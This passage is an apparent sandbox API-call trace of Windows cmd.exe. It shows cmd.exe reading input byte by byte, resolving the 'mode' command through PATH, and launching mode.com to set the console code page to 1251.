lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0042.562] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.562] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.562] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0042.562] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.562] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.562] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0042.562] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.562] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.562] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0042.562] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.562] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.562] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0042.562] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.562] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.562] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0042.562] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.562] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.563] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0042.563] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.563] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.563] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7423d9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4eef56f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesRead=0x4eef56f7d8*=0x1, lpOverlapped=0x0) returned 1 [0042.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=1, lpWideCharStr=0x7ff7423e3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0042.563] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.563] GetFileType (hFile=0x248) returned 0x3 [0042.563] _get_osfhandle (_FileHandle=0) returned 0x248 [0042.563] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0042.563] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.563] GetFileType (hFile=0x254) returned 0x3 [0042.563] _get_osfhandle (_FileHandle=1) returned 0x254 [0042.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff7423d9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0042.563] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7423d9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x4eef56f778, lpOverlapped=0x0 | out: lpBuffer=0x7ff7423d9970*, lpNumberOfBytesWritten=0x4eef56f778*=0x18, lpOverlapped=0x0) returned 1 [0042.563] GetProcessHeap () returned 0x23aafcc0000 [0042.563] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x4012) returned 0x23aafcc8fe0 [0042.563] GetProcessHeap () returned 0x23aafcc0000 [0042.563] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc8fe0) returned 1 [0042.564] _wcsicmp (_String1="mode", _String2=")") returned 68 [0042.564] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0042.564] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0042.564] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0042.564] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0042.564] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0042.564] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0042.564] GetProcessHeap () returned 0x23aafcc0000 [0042.564] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xb0) returned 0x23aafcc8320 [0042.564] GetProcessHeap () returned 0x23aafcc0000 [0042.564] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x1a) returned 0x23aafcc6a80 [0042.564] GetProcessHeap () returned 0x23aafcc0000 [0042.564] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x38) returned 0x23aafcc1850 [0042.565] GetConsoleOutputCP () returned 0x1b5 [0042.585] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7423dfbb0 | out: lpCPInfo=0x7ff7423dfbb0) returned 1 [0042.585] SetThreadUILanguage (LangId=0x0) returned 0x409 [0042.585] GetConsoleTitleW (in: lpConsoleTitle=0x4eef56f5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0042.585] malloc (_Size=0xffce) returned 0x23aafde0840 [0042.585] ??_V@YAXPEAX@Z () returned 0x23aafde0840 [0042.586] malloc (_Size=0xffce) returned 0x23aafdf0820 [0042.586] ??_V@YAXPEAX@Z () returned 0x23aafdf0820 [0042.587] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0042.587] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0042.587] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0042.587] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0042.587] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0042.587] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0042.587] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0042.587] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0042.587] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0042.587] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0042.587] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0042.587] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0042.587] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0042.587] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0042.587] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0042.587] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0042.587] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0042.587] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0042.587] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0042.587] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0042.587] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0042.587] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0042.587] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0042.587] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0042.587] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0042.587] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0042.587] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0042.587] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0042.587] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0042.587] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0042.587] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0042.587] _wcsicmp (_String1="mode", _String2="START") returned -6 [0042.587] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0042.587] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0042.587] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0042.587] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0042.587] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0042.587] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0042.587] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0042.587] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0042.587] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0042.587] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0042.587] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0042.587] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0042.587] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0042.587] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0042.587] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0042.588] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0042.588] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0042.588] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0042.588] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0042.588] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0042.588] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0042.588] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0042.588] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0042.588] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0042.588] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0042.588] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0042.588] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0042.588] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0042.588] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0042.588] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0042.588] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0042.588] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0042.588] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0042.588] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0042.588] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0042.588] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0042.588] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0042.588] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0042.588] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0042.588] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0042.588] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0042.588] _wcsicmp (_String1="mode", _String2="START") returned -6 [0042.588] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0042.588] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0042.588] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0042.588] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0042.588] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0042.588] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0042.588] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0042.588] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0042.588] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0042.588] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0042.588] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0042.588] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0042.588] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0042.589] ??_V@YAXPEAX@Z () returned 0x1 [0042.589] GetProcessHeap () returned 0x23aafcc0000 [0042.589] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xffde) returned 0x23aafcc8fe0 [0042.589] GetProcessHeap () returned 0x23aafcc0000 [0042.589] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x42) returned 0x23aafcc83e0 [0042.589] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0042.589] malloc (_Size=0xffce) returned 0x23aafdf0820 [0042.589] ??_V@YAXPEAX@Z () returned 0x23aafdf0820 [0042.589] GetProcessHeap () returned 0x23aafcc0000 [0042.589] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x1ffac) returned 0x23aafcd8fd0 [0042.591] SetErrorMode (uMode=0x0) returned 0x0 [0042.591] SetErrorMode (uMode=0x1) returned 0x0 [0042.591] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x23aafcd8fe0, lpFilePart=0x4eef56ee40 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x4eef56ee40*="Desktop") returned 0x17 [0042.591] SetErrorMode (uMode=0x0) returned 0x1 [0042.591] GetProcessHeap () returned 0x23aafcc0000 [0042.591] RtlReAllocateHeap (Heap=0x23aafcc0000, Flags=0x0, Ptr=0x23aafcd8fd0, Size=0x4a) returned 0x23aafcd8fd0 [0042.591] GetProcessHeap () returned 0x23aafcc0000 [0042.591] RtlSizeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, MemoryPointer=0x23aafcd8fd0) returned 0x4a [0042.591] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0042.591] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0042.591] GetProcessHeap () returned 0x23aafcc0000 [0042.591] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x1bc) returned 0x23aafcc6c30 [0042.591] GetProcessHeap () returned 0x23aafcc0000 [0042.591] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x368) returned 0x23aafcd9030 [0042.598] GetProcessHeap () returned 0x23aafcc0000 [0042.598] RtlReAllocateHeap (Heap=0x23aafcc0000, Flags=0x0, Ptr=0x23aafcd9030, Size=0x1be) returned 0x23aafcd9030 [0042.598] GetProcessHeap () returned 0x23aafcc0000 [0042.598] RtlSizeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, MemoryPointer=0x23aafcd9030) returned 0x1be [0042.598] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0042.598] GetProcessHeap () returned 0x23aafcc0000 [0042.598] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xe8) returned 0x23aafcc6e00 [0042.600] GetProcessHeap () returned 0x23aafcc0000 [0042.600] RtlReAllocateHeap (Heap=0x23aafcc0000, Flags=0x0, Ptr=0x23aafcc6e00, Size=0x7e) returned 0x23aafcc6e00 [0042.600] GetProcessHeap () returned 0x23aafcc0000 [0042.600] RtlSizeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, MemoryPointer=0x23aafcc6e00) returned 0x7e [0042.600] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0042.600] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x4eef56ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4eef56ebb0) returned 0xffffffffffffffff [0043.179] GetLastError () returned 0x2 [0043.179] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.179] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x4eef56ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4eef56ebb0) returned 0xffffffffffffffff [0043.182] GetLastError () returned 0x2 [0043.182] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.182] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x4eef56ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4eef56ebb0) returned 0x23aafcc6e90 [0043.183] GetProcessHeap () returned 0x23aafcc0000 [0043.183] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x0, Size=0x28) returned 0x23aafcc1890 [0043.183] FindClose (in: hFindFile=0x23aafcc6e90 | out: hFindFile=0x23aafcc6e90) returned 1 [0043.183] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x4eef56ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4eef56ebb0) returned 0x23aafcc6e90 [0043.183] GetProcessHeap () returned 0x23aafcc0000 [0043.183] RtlReAllocateHeap (Heap=0x23aafcc0000, Flags=0x0, Ptr=0x23aafcc1890, Size=0x8) returned 0x23aafcc1890 [0043.183] FindClose (in: hFindFile=0x23aafcc6e90 | out: hFindFile=0x23aafcc6e90) returned 1 [0043.183] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0043.183] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0043.183] ??_V@YAXPEAX@Z () returned 0x1 [0043.183] GetConsoleTitleW (in: lpConsoleTitle=0x4eef56f130, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0043.468] GetProcessHeap () returned 0x23aafcc0000 [0043.468] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x21c) returned 0x23aafcd9200 [0043.468] GetConsoleTitleW (in: lpConsoleTitle=0x23aafcd9210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0044.049] GetProcessHeap () returned 0x23aafcc0000 [0044.049] RtlReAllocateHeap (Heap=0x23aafcc0000, Flags=0x0, Ptr=0x23aafcd9200, Size=0xaa) returned 0x23aafcd9200 [0044.049] GetProcessHeap () returned 0x23aafcc0000 [0044.049] RtlSizeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, MemoryPointer=0x23aafcd9200) returned 0xaa [0044.049] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0044.359] GetProcessHeap () returned 0x23aafcc0000 [0044.359] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcd9200) returned 1 [0044.359] InitializeProcThreadAttributeList (in: lpAttributeList=0x4eef56f050, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x4eef56ef40 | out: lpAttributeList=0x4eef56f050, lpSize=0x4eef56ef40) returned 1 [0044.359] UpdateProcThreadAttribute (in: lpAttributeList=0x4eef56f050, dwFlags=0x0, Attribute=0x60001, lpValue=0x4eef56ef2c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x4eef56f050, lpPreviousValue=0x0) returned 1 [0044.359] GetStartupInfoW (in: lpStartupInfo=0x4eef56efe0 | out: lpStartupInfo=0x4eef56efe0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0044.359] GetProcessHeap () returned 0x23aafcc0000 [0044.359] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x20) returned 0x23aafcc6e90 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0044.360] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0044.360] GetProcessHeap () returned 0x23aafcc0000 [0044.360] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc6e90) returned 1 [0044.360] GetProcessHeap () returned 0x23aafcc0000 [0044.360] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x12) returned 0x23aafcc6e90 [0044.360] _get_osfhandle (_FileHandle=1) returned 0x254 [0044.360] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0044.361] _get_osfhandle (_FileHandle=0) returned 0x248 [0044.361] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0044.361] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x4eef56ef70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4eef56ef48 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x4eef56ef48*(hProcess=0x98, hThread=0x94, dwProcessId=0xfa8, dwThreadId=0xf58)) returned 1 [0064.034] CloseHandle (hObject=0x94) returned 1 [0064.034] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.034] GetProcessHeap () returned 0x23aafcc0000 [0064.034] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc8500) returned 1 [0064.034] GetEnvironmentStringsW () returned 0x23aafcc84c0* [0064.034] GetProcessHeap () 